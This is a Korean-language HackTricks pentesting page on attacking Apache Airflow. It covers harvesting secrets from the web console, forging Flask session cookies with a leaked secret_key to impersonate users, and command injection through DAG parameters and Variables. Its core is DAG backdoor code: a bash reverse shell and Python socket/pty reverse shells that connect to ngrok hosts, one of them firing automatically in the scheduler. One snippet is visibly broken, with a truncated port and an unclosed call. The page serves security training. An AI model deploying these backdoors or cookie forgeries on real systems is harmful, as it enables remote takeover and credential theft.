Apache Airflow Security

AWS 해킹 학습 및 실습:HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 학습 및 실습: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원

기본 정보

Apache Airflow데이터 파이프라인 또는 워크플로우를 조정하고 예약하는 플랫폼으로 작동합니다. 데이터 파이프라인의 "조정"이란 다양한 소스에서 발생하는 복잡한 데이터 워크플로우를 배열, 조정 및 관리하는 과정을 의미합니다. 이러한 조정된 데이터 파이프라인의 주요 목적은 처리된 데이터 세트를 제공하는 것입니다. 이러한 데이터 세트는 비즈니스 인텔리전스 도구, 데이터 과학 및 머신러닝 모델을 비롯한 다양한 응용 프로그램에서 널리 활용되며, 이는 대규모 데이터 응용 프로그램의 기능에 필수적입니다.

기본적으로 Apache Airflow를 사용하면 코드 실행을 일정 시간에 예약할 수 있습니다.

로컬 랩

Docker-Compose

https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml도커-컴포즈 구성 파일을 사용하여 완전한 Apache Airflow 도커 환경을 시작할 수 있습니다. (MacOS에서는 도커 VM에 적어도 6GB의 RAM을 할당해야 합니다).

Minikube

Apache Airflow를 실행하는 간단한 방법 중 하나는 minikube로 실행하는 것입니다:

helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
helm install airflow-release airflow-stable/airflow
# Some information about how to aceess the web console will appear after this command

# Use this command to delete it
helm delete airflow-release

Airflow 구성

Airflow는 구성에서 민감한 정보를 저장할 수 있거나 취약한 구성을 찾을 수 있습니다:

Airflow Configuration

Airflow RBAC

Airflow를 공격하기 전에 권한이 작동하는 방식을 이해해야 합니다:

Airflow RBAC

공격

웹 콘솔 열거

웹 콘솔에 액세스할 수 있다면 다음 정보 중 일부 또는 모두에 액세스할 수 있습니다:

  • 변수 (여기에 사용자 지정 민감한 정보가 저장될 수 있음)

  • 연결 (여기에 사용자 지정 민감한 정보가 저장될 수 있음)

  • http://<airflow>/connection/list/에서 액세스

  • 구성 (여기에 secret_key 및 비밀번호와 같은 민감한 정보가 저장될 수 있음)

  • 사용자 및 역할 목록

  • 각 DAG의 코드 (흥미로운 정보가 포함될 수 있음)

변수 값 검색

변수는 Airflow에 저장될 수 있어 DAGs값에 액세스할 수 있습니다. 다른 플랫폼의 비밀과 유사합니다. 충분한 권한이 있다면 GUI에서 http://<airflow>/variable/list/에서 액세스할 수 있습니다. 기본적으로 Airflow는 GUI에서 변수의 값을 표시하지만, 에 따르면 GUI에서 별표로 표시될 변수 목록을 설정할 수 있습니다.

그러나 이러한 은 여전히 CLI를 통해 검색할 수 있습니다(DB 액세스 필요), 임의의 DAG 실행, 변수 엔드포인트에 API 액세스(활성화해야 함) 및 심지어 GUI 자체! GUI에서 이러한 값을 액세스하려면 액세스하려는 변수를 선택하고 작업 -> 내보내기를 클릭하면 됩니다. 다른 방법은 숨겨진 값에 대한 브루트포스를 수행하여 해당 값을 얻을 때까지 검색 필터링하는 것입니다:

권한 상승

expose_config 구성이 True로 설정된 경우 사용자 역할이상에서 웹에서 구성을 읽을 수 있습니다. 이 구성에는 **secret_key**가 나타나며, 이는 해당 유효한 사용자가 자체 서명된 쿠키를 만들어 다른 사용자 계정을 표현할 수 있음을 의미합니다.

flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"

DAG 백도어 (Airflow 워커에서의 RCE)

만약 DAG가 저장된 위치에 쓰기 권한이 있다면, 하나 생성하여 리버스 셸을 보낼 수 있습니다. 이 리버스 셸은 airflow 워커 컨테이너 내에서 실행될 것입니다:

import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator

with DAG(
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433  0>&1',
)
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

with DAG(
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)

DAG 백도어 (Airflow 스케줄러에서 RCE)

만약 무언가를 코드의 루트에서 실행하도록 설정하면, 현재 이 문서를 작성하는 시점에서, DAG 폴더 안에 넣은 후 몇 초 후에 스케줄러에 의해 실행될 것입니다.

import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

rs("2.tcp.ngrok.io", 14403)

with DAG(
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}

DAG 생성

만약 DAG 클러스터 내부의 기기를 침투한다면, dags/ 폴더에 새로운 DAG 스크립트를 생성할 수 있고, 이는 DAG 클러스터 내의 다른 기기들에 복제될 것입니다.

DAG 코드 삽입

GUI에서 DAG를 실행할 때 인수를 전달할 수 있습니다. 따라서, DAG가 올바르게 작성되지 않은 경우 Command Injection에 취약할 수 있습니다. 이것이 이 CVE에서 발생한 사례입니다: https://www.exploit-db.com/exploits/49927

DAGs에서 명령 삽입을 찾기 시작하려면 알아야 할 것은 매개변수가 코드 **dag_run.conf.get("param_name")**로 액세스된다는 것입니다.

또한, 변수에서도 동일한 취약점이 발생할 수 있습니다 (충분한 권한이 있다면 GUI에서 변수의 값을 제어할 수 있음에 유의하십시오). 변수는 다음과 같이 액세스됩니다:

from airflow.models import Variable
[...]
foo = Variable.get("foo")

만약 bash 명령어 안에서 사용된다면, 명령어 삽입을 수행할 수 있습니다.

AWS 해킹 학습 및 실습:HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 학습 및 실습: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원

Last updated